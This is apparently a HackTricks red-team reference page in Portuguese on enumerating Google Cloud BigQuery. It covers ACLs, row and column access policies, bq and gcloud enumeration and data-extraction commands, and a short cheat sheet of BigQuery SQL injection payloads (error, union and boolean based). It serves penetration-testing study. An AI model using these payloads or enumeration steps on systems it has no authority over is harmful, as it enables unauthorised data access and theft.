GCP - Bigquery Enum

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Informações Básicas

Google Cloud BigQuery é um data warehouse empresarial totalmente gerenciado e sem servidor, oferecendo capacidades para análise de petabytes de dados, lidando assim com conjuntos de dados em grande escala de forma eficiente. Como uma Plataforma como Serviço (PaaS), fornece aos usuários infraestrutura e ferramentas para facilitar a gestão de dados sem a necessidade de supervisão manual.

Ele suporta consultas usando ANSI SQL. Os principais objetos são datasets contendo tables contendo dados SQL.

Criptografia

Por padrão, uma chave de criptografia gerenciada pelo Google é usada, embora seja possível configurar uma chave de criptografia gerenciada pelo cliente (CMEK). É possível indicar a chave de criptografia por dataset e por tabela dentro de um dataset.

Expiração

É possível indicar um tempo de expiração no dataset para que qualquer nova tabela criada neste dataset seja automaticamente excluída após o número especificado de dias após a criação.

Fontes Externas

Bigquery está profundamente integrado com outros serviços do Google. É possível carregar dados de buckets, pub/sub, google drive, bancos de dados RDS...

ACLs do Dataset

Quando um dataset é criado, ACLs são anexadas para dar acesso a ele. Por padrão, são concedidos privilégios de Proprietário ao usuário que criou o dataset e, em seguida, Proprietário ao grupo projectOwners (Proprietários do projeto), Escritor ao grupo projectWriters e Leitor ao grupo projectReaders:

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Controle de Acesso a Linhas da Tabela

É possível controlar as linhas que um principal poderá acessar dentro de uma tabela com políticas de acesso a linhas. Estas são definidas dentro da tabela usando DDL. A política de acesso define um filtro e apenas as linhas correspondentes a esse filtro serão acessíveis pelos principais indicados.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Controle de Acesso a Colunas

Para restringir o acesso aos dados no nível da coluna:

  1. Defina uma taxonomia e tags de política. Crie e gerencie uma taxonomia e tags de política para seus dados. https://console.cloud.google.com/bigquery/policy-tags

  2. Opcional: Conceda a função Leitor de Dados do Catálogo com Controle Fino a um ou mais principais em uma ou mais das tags de política que você criou.

  3. Atribua tags de política às suas colunas do BigQuery. No BigQuery, use anotações de esquema para atribuir uma tag de política a cada coluna onde você deseja restringir o acesso.

  4. Aplique controle de acesso na taxonomia. A aplicação do controle de acesso faz com que as restrições de acesso definidas para todas as tags de política na taxonomia sejam aplicadas.

  5. Gerencie o acesso nas tags de política. Use Identity and Access Management (IAM) políticas para restringir o acesso a cada tag de política. A política está em vigor para cada coluna que pertence à tag de política.

Quando um usuário tenta acessar dados de coluna no momento da consulta, o BigQuery verifica a tag de política da coluna e sua política para ver se o usuário está autorizado a acessar os dados.

Como resumo, para restringir o acesso a algumas colunas para alguns usuários, você pode adicionar uma tag à coluna no esquema e restringir o acesso dos usuários à tag aplicando controle de acesso na taxonomia da tag.

Para aplicar controle de acesso na taxonomia, é necessário habilitar o serviço:

gcloud services enable bigquerydatapolicy.googleapis.com

É possível ver as tags das colunas com:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

Enumeração

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>

# Misc
bq show --encryption_service_account # Get encryption service account

Injeção SQL no BigQuery

Para mais informações, você pode conferir o post do blog: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Aqui, apenas alguns detalhes serão fornecidos.

Comentários:

  • select 1#from here it is not working

  • select 1/*between those it is not working*/ Mas apenas o inicial não funcionará

  • select 1--from here it is not working

Obtenha informações sobre o ambiente como:

  • Usuário atual: select session_user()

  • ID do projeto: select @@project_id

Concatene linhas:

  • Todos os nomes das tabelas: string_agg(table_name, ', ')

Obtenha nomes de datasets, tabelas e colunas:

  • Nome do projeto e dataset:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • Nomes de colunas e tabelas de todas as tabelas do conjunto de dados:

# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
  • Outros conjuntos de dados no mesmo projeto:

SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA

Tipos de Injeção SQL:

  • Baseado em erro - conversão: select CAST(@@project_id AS INT64)

  • Baseado em erro - divisão por zero: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

  • Baseado em união (você precisa usar ALL no bigquery): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

  • Baseado em booleano: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • Potencial baseado em tempo - Uso de exemplos de conjuntos de dados públicos: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Documentação:

Escalação de Privilégios & Pós Exploração

GCP - BigQuery Privesc

Persistência

GCP - BigQuery Persistence

Referências

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Suporte ao HackTricks

Last updated